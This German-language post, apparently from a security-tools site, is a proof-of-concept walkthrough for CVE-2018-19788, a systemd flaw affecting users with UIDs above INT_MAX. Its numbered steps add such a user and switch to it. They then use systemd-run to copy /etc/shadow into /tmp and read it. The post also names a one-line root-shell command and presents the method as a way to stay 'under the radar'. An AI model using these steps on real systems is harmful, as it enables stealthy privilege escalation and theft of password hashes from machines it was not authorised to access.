Ausnutzen von CVE-2018-19788 zum Auslesen geschützter Dateien ohne Root-Shell

CVE-2018-19788 ist ein Problem, bei dem jeder Benutzer mit einer UID über INT_MAX (also 4000000000) jeden systemctl-Befehl auf einem systemd-Linux-Rechner wie Ubuntu ausführen kann. (Es gibt bereits eine Anleitung, um eine Root-Shell zu erlangen: hier). Der Hauptunterschied zwischen dieser Anleitung und der vollständigen Root-Shell-Anleitung besteht darin, dass dies als der Benutzer selbst anstatt als Root-Benutzer ausgeführt wird (eigentlich nur ein PoC, um ehrlich zu sein).

Auslesen von /etc/shadow ohne Ausführen einer Root-Shell

Um eine Root-Shell zu erhalten, reicht es einfach systemd-run -t /bin/bash auszuführen, aber wenn Sie unter dem Radar bleiben möchten, können Sie einfache Befehle ausführen, um privilegierte Dateien ohne Terminal zu erhalten. Befolgen Sie diese Schritte:

• Fügen Sie einen Benutzer mit einer UID über INT_MAX hinzu:
  root@kitploit:~

  adduser --uid 4000000000 someusername
  

• Wechseln Sie in das Benutzerkonto:
  root@kitploit:~

  su someusername
  

• Führen Sie den Befehl für die gewünschte Datei aus (wir verwenden hier /etc/shadow):
  root@kitploit:~

  systemd-run bash -c 'cat /etc/shadow > /tmp/results_poc.txt'
  

• Ihre Datei befindet sich nun in /tmp:
  root@kitploit:~

  cat /tmp/results_poc.txt
  

PoC-Video